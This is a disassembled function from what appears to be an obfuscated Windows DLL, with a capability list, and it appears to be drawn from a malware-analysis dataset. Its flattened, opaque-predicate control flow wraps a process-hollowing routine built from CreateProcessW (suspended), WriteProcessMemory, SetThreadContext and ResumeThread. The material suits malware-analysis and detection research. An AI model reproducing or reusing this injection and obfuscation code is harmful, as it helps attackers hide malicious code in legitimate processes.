Function at 0x10002d30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x10066000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0xa78b7b
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x80157c80
je 0x10007155
jmp 0x10002d6c
mov eax, dword [ebp - 0x19c]
sub eax, 0x80f395bb
je 0x10007495
jmp 0x10002d82
mov eax, dword [ebp - 0x19c]
sub eax, 0x816bbe9f
je 0x10007e3b
jmp 0x10002d98
mov eax, dword [ebp - 0x19c]
sub eax, 0x81e593b3
je 0x100080c0
jmp 0x10002dae
mov eax, dword [ebp - 0x19c]
sub eax, 0x83251115
je 0x10005472
jmp 0x10002dc4
mov eax, dword [ebp - 0x19c]
sub eax, 0x8373900c
je 0x10006e03
jmp 0x10002dda
mov eax, dword [ebp - 0x19c]
sub eax, 0x85c22263
je 0x1000a83a
jmp 0x10002df0
mov eax, dword [ebp - 0x19c]
sub eax, 0x866325d6
je 0x1000a609
jmp 0x10002e06
mov eax, dword [ebp - 0x19c]
sub eax, 0x86c2e779
je 0x1000a710
jmp 0x10002e1c
mov eax, dword [ebp - 0x19c]
sub eax, 0x86d6333a
je 0x10005560
jmp 0x10002e32
mov eax, dword [ebp - 0x19c]
sub eax, 0x8725b562
je 0x100062e9
jmp 0x10002e48
mov eax, dword [ebp - 0x19c]
sub eax, 0x8798689b
je 0x1000a5db
jmp 0x10002e5e
mov eax, dword [ebp - 0x19c]
sub eax, 0x87c525ba
je 0x10006669
jmp 0x10002e74
mov eax, dword [ebp - 0x19c]
sub eax, 0x8864cafc
je 0x100091da
jmp 0x10002e8a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ac85587
je 0x10007cbb
jmp 0x10002ea0
mov eax, dword [ebp - 0x19c]
sub eax, 0x8bdb2a83
je 0x10009ec8
jmp 0x10002eb6
mov eax, dword [ebp - 0x19c]
sub eax, 0x8c24d993
je 0x1000a439
jmp 0x10002ecc
mov eax, dword [ebp - 0x19c]
sub eax, 0x8d8cd5cd
je 0x10007c9d
jmp 0x10002ee2
mov eax, dword [ebp - 0x19c]
sub eax, 0x9086da22
je 0x1000529f
jmp 0x10002ef8
mov eax, dword [ebp - 0x19c]
sub eax, 0x90b4c9f1
je 0x10009a9f
jmp 0x10002f0e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9176a51e
je 0x10005aec
jmp 0x10002f24
mov eax, dword [ebp - 0x19c]
sub eax, 0x920348cd
je 0x10005fa2
jmp 0x10002f3a
mov eax, dword [ebp - 0x19c]
sub eax, 0x923f0923
je 0x10006ed4
jmp 0x10002f50
mov eax, dword [ebp - 0x19c]
sub eax, 0x928e9cbc
je 0x10005b5a
jmp 0x10002f66
mov eax, dword [ebp - 0x19c]
sub eax, 0x92b006f4
je 0x10007a9a
jmp 0x10002f7c
mov eax, dword [ebp - 0x19c]
sub eax, 0x930d8fbe
je 0x10006aa0
jmp 0x10002f92
mov eax, dword [ebp - 0x19c]
sub eax, 0x941884b1
je 0x10005d9a
jmp 0x10002fa8
mov eax, dword [ebp - 0x19c]
sub eax, 0x943400de
je 0x10008b89
jmp 0x10002fbe
mov eax, dword [ebp - 0x19c]
sub eax, 0x94fc3125
je 0x1000a8cb
jmp 0x10002fd4
mov eax, dword [ebp - 0x19c]
sub eax, 0x953a9f7d
je 0x10006b44
jmp 0x10002fea
mov eax, dword [ebp - 0x19c]
sub eax, 0x956a3ac3
je 0x10007104
jmp 0x10003000
mov eax, dword [ebp - 0x19c]
sub eax, 0x95da3d81
je 0x100065fe
jmp 0x10003016
mov eax, dword [ebp - 0x19c]
sub eax, 0x95ecf4b5
je 0x1000a201
jmp 0x1000302c
mov eax, dword [ebp - 0x19c]
sub eax, 0x9649a012
je 0x1000a75d
jmp 0x10003042
mov eax, dword [ebp - 0x19c]
sub eax, 0x96616370
je 0x10005f17
jmp 0x10003058
mov eax, dword [ebp - 0x19c]
sub eax, 0x96b4116b
je 0x100056ec
jmp 0x1000306e
mov eax, dword [ebp - 0x19c]
sub eax, 0x981d0fbb
je 0x100075d3
jmp 0x10003084
mov eax, dword [ebp - 0x19c]
sub eax, 0x98799212
je 0x1000a9c4
jmp 0x1000309a
mov eax, dword [ebp - 0x19c]
sub eax, 0x989f3c03
je 0x1000863b
jmp 0x100030b0
mov eax, dword [ebp - 0x19c]
sub eax, 0x993a2d9a
je 0x1000902d
jmp 0x100030c6
mov eax, dword [ebp - 0x19c]
sub eax, 0x99ed5ece
je 0x10009e22
jmp 0x100030dc
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a4509f9
je 0x1000a3cd
jmp 0x100030f2
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a68607c
je 0x100058e3
jmp 0x10003108
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a923232
je 0x10009d6c
jmp 0x1000311e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b3e590f
je 0x10009f3e
jmp 0x10003134
mov eax, dword [ebp - 0x19c]
sub eax, 0x9c4c0ff7
je 0x1000a3be
jmp 0x1000314a
mov eax, dword [ebp - 0x19c]
sub eax, 0x9c5680a8
je 0x1000626f
jmp 0x10003160
mov eax, dword [ebp - 0x19c]
sub eax, 0x9d5125ff
je 0x10007822
jmp 0x10003176
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f3571f4
je 0x1000a72f
jmp 0x1000318c
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f767473
je 0x1000556f
jmp 0x100031a2
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f8926bd
je 0x100066f2
jmp 0x100031b8
mov eax, dword [ebp - 0x19c]
sub eax, 0xa0221ddf
je 0x1000a18b
jmp 0x100031ce
mov eax, dword [ebp - 0x19c]
sub eax, 0xa0bba657
je 0x10007381
jmp 0x100031e4
mov eax, dword [ebp - 0x19c]
sub eax, 0xa0f63fe0
je 0x10008358
jmp 0x100031fa
mov eax, dword [ebp - 0x19c]
sub eax, 0xa19cccb0
je 0x10009164
jmp 0x10003210
mov eax, dword [ebp - 0x19c]
sub eax, 0xa1db841b
je 0x100092ca
jmp 0x10003226
mov eax, dword [ebp - 0x19c]
sub eax, 0xa20eeaf8
je 0x100064ee
jmp 0x1000323c
mov eax, dword [ebp - 0x19c]
sub eax, 0xa21ca44b
je 0x10009d5d
jmp 0x10003252
mov eax, dword [ebp - 0x19c]
sub eax, 0xa239e980
je 0x10005abe
jmp 0x10003268
mov eax, dword [ebp - 0x19c]
sub eax, 0xa4ea9bff
je 0x10005bd8
jmp 0x1000327e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa53580e0
je 0x10006f6a
jmp 0x10003294
mov eax, dword [ebp - 0x19c]
sub eax, 0xa6373b69
je 0x10009c31
jmp 0x100032aa
mov eax, dword [ebp - 0x19c]
sub eax, 0xa682c6d8
je 0x10006593
jmp 0x100032c0
mov eax, dword [ebp - 0x19c]
sub eax, 0xa6a50c42
je 0x100054ff
jmp 0x100032d6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa7013fbe
je 0x1000a637
movss xmm0, dword [0x1001739c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x198], 0x4e192721
jmp 0x1000aa85
mov dl, 1
mov eax, 0x9f767473
mov ecx, 0x52a2fa0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x10017220]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0xe14d71b5
sub edx, 1
add edx, 0xe14d71b5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e43bf7
mov ecx, 0x86d6333a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x9f767473
jmp 0x1000aa85
movss xmm0, dword [0x10017390]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x198], 0xf6c5a9e
jmp 0x1000aa85
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0xda6beb5e
sub edx, 1
add edx, 0xda6beb5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee16dbf7
mov ecx, 0x69467ba9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x1edb0863
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xb4f36488
jmp 0x1000aa85
mov dl, 1
mov eax, 0xfb34556e
mov ecx, 0xaa0c1591
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x10017204]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x49d84d75
mov ecx, 0xa4ea9bff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xba7e2367
jmp 0x1000aa85
movss xmm0, dword [0x10017358]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x198], 0xc725f4c1
jmp 0x1000aa85
movss xmm0, dword [0x10017348]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10017344]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10017340]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x198], 0x16e44670
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x6d134834
jmp 0x1000aa85
mov dl, 1
mov eax, 0xbad7080
mov ecx, 0x5ebf8117
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dl, 1
mov eax, 0x36df8122
mov ecx, 0xcc9d0187
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100171ec]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0x27306628
sub edx, 1
add edx, 0x27306628
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8c24d993
mov ecx, 0x5ca3171f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x10017310]
movss dword [ebp - 0x130], xmm0
mov dl, 1
mov eax, 0x95da3d81
mov ecx, 0x94643fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x10017304]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x198], 0xbbe78ef0
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xb2f3501b
jmp 0x1000aa85
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0xc1712d8
sub edx, 1
add edx, 0xc1712d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x212d73a6
mov ecx, 0x6b86565b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x100172c8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x198], 0x6f9f235e
jmp 0x1000aa85
movss xmm0, dword [0x100171e0]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0x50096ea4
sub edx, 1
add edx, 0x50096ea4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73cef18e
mov ecx, 0x55e3e66d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dl, 1
mov eax, 0x79fdf013
mov ecx, 0xdc014595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x100171d8]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100171d4]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0xeaaa21ad
sub edx, 1
add edx, 0xeaaa21ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x682f40a
mov ecx, 0xa53580e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x5dd08dc7
jmp 0x1000aa85
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0x1ab00cd8
sub edx, 1
add edx, 0x1ab00cd8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2d22fec
mov ecx, 0x80157c80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x100171cc]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100171c8]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0x42d496f9
sub edx, 1
add edx, 0x42d496f9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2d22fec
mov ecx, 0x52a92a65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dl, 1
mov eax, 0x74ff393e
mov ecx, 0xabf808f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3b59c4a
mov ecx, 0x58d4aa23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0xc5886cd5
sub edx, 1
add edx, 0xc5886cd5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8798689b
mov ecx, 0x2660a377
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x1001726c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x198], 0xd337dc88
jmp 0x1000aa85
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
sub edx, 0x4342ebba
sub edx, 1
add edx, 0x4342ebba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7013fbe
mov ecx, 0x26b986eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x68dfcc2d
jmp 0x1000aa85
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
add edx, 0xd766c5d1
sub edx, 1
sub edx, 0xd766c5d1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9ba9da1
mov ecx, 0xe9c0b8f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
movss xmm0, dword [0x10017254]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x198], 0xed1fad67
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xb08baed3
jmp 0x1000aa85
movss xmm0, dword [0x10017224]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x198], 0x742e95fa
jmp 0x1000aa85
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x48000
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
mov ax, word [eax]
mov word [ebp - 0x100], ax
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0x979a1ad9
sub edx, 1
add edx, 0x979a1ad9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x20ad1923
mov ecx, 0x7cbb8c83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov edx, dword [ebp - 0x158]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xea], al
mov dword [ebp - 0x198], 0xc47788e9
jmp 0x1000aa85
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x150]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x150]
sub eax, 0xee634ac4
add eax, 0x18
add eax, 0xee634ac4
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x150]
add eax, 4
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x198], 0xd346f7f3
jmp 0x1000aa85
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0x415604a8
sub edx, 1
add edx, 0x415604a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x94fc3125
mov ecx, 0x8864cafc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xc0], eax
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0x5c22037f
sub edx, 1
add edx, 0x5c22037f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94fc3125
mov ecx, 0xe9411fde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc4]
xor eax, eax
sub eax, ecx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002b40
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x194]
mov esi, dword [ebp - 0x188]
mov eax, dword [ebp - 0x120]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xf7118906
mov ecx, 0x7af2db6a
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dl, byte [ebp - 0x89]
mov eax, 0x1a0d85e4
mov ecx, 0x28732483
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x22760692
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xcd862768
jmp 0x1000aa85
mov dword [ebp - 0x198], 0x7e671174
jmp 0x1000aa85
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x70]
add ecx, 0x83c71069
add ecx, eax
sub ecx, 0x83c71069
mov eax, dword [ebp - 0x14c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x98799212
mov ecx, 0xb4931fc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0xa774b1e0
sub edx, 1
add edx, 0xa774b1e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x612677c8
mov ecx, 0x9b3e590f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x10067328]
mov ecx, dword [0x10067324]
mov edx, eax
add edx, 0xb8724e9b
sub edx, 1
sub edx, 0xb8724e9b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x612677c8
mov ecx, 0x75d80ef4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0x4b8edefb
sub edx, 1
add edx, 0x4b8edefb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc8fa838
mov ecx, 0x95ecf4b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov ecx, dword [0x10067328]
mov eax, dword [0x10067324]
mov edx, ecx
sub edx, 0xb05a4ff8
sub edx, 1
add edx, 0xb05a4ff8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdc8fa838
mov ecx, 0x42abcf42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xde2945fd
jmp 0x1000aa85
movss xmm0, dword [0x100171fc]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x198], 0xa9969853
jmp 0x1000aa85
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100171ec]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x198], 0xa20eeaf8
jmp 0x1000aa85
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x198], 0x981d0fbb
jmp 0x1000aa85
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x198], 0x1f29c7a3
jmp 0x1000aa85
movss xmm0, dword [0x10017198]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x198], 0xd49d1a25
jmp 0x1000aa85
mov dword [ebp - 0x198], 0xc7b43ce5
jmp 0x1000aa85
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x198], 0x1aa49de9
